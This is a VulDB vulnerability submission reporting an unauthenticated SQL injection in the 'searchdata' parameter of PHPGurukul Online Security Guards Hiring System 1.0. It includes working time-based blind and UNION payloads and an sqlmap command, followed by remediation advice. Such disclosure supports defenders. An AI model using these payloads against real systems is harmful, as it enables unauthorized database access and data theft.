Submit #520250: PHPGurukul Online Security Guards Hiring System V1.0 SQL Injectioninfo

TitlePHPGurukul Online Security Guards Hiring System V1.0 SQL Injection
Description# Phpgurukul Online Security Guards Hiring System V1.0 /search-request.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Online Security Guards Hiring System ## Vendor Homepage - https://phpgurukul.com/online-security-guards-hiring-system-using-php-and-mysql/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter - 你的vuldb名称 ## Vulnerable File - /search-request.php ## VERSION(S) - V1.0 ## Software Link - https://phpgurukul.com/projects/Online-Security-Guard-Hiring-System_PHP.zip # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/search-request.php' file of the 'Online Security Guards Hiring System' project. The reason for this issue is that attackers inject malicious code from the parameter 'searchdata' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Online Security Guards Hiring System",I discovered a critical SQL injection vulnerability "/search-request.php" file. This vulnerability stems from insufficient user input validation of the 'searchdata' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - 'searchdata‘ parameter ## Payload: ```makefile Parameter: searchdata (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: searchdata=111' AND (SELECT 6847 FROM (SELECT(SLEEP(5)))Spqo) AND 'GnDq'='GnDq&search= Type: UNION query Title: Generic UNION query (NULL) - 15 columns Payload: searchdata=111' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627071,0x43495070636c66686950546d71514b684c47784a7647524f4679454774427343666c464a64415778,0x7171626271),NULL,NULL,NULL-- -&search= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://x.x.x.x/osghs/search-request.php" --data="searchdata=111&search=" --dbs ``` <img width="863" alt="Image" src="https://github.com/user-attachments/assets/762399c2-04ec-492d-8a80-7efb15eaa7fa" /> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
Source⚠️ https://github.com/zyb26252/CVE/issues/1
User zybo (UID 82781)
Submission03/14/2025 03:03 AM (4 months ago)
Moderation03/22/2025 10:45 AM (8 days later)
StatusAccepted
VulDB Entry300674 [PHPGurukul Online Security Guards Hiring System 1.0 /search-request.php searchdata sql injection]
Points20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!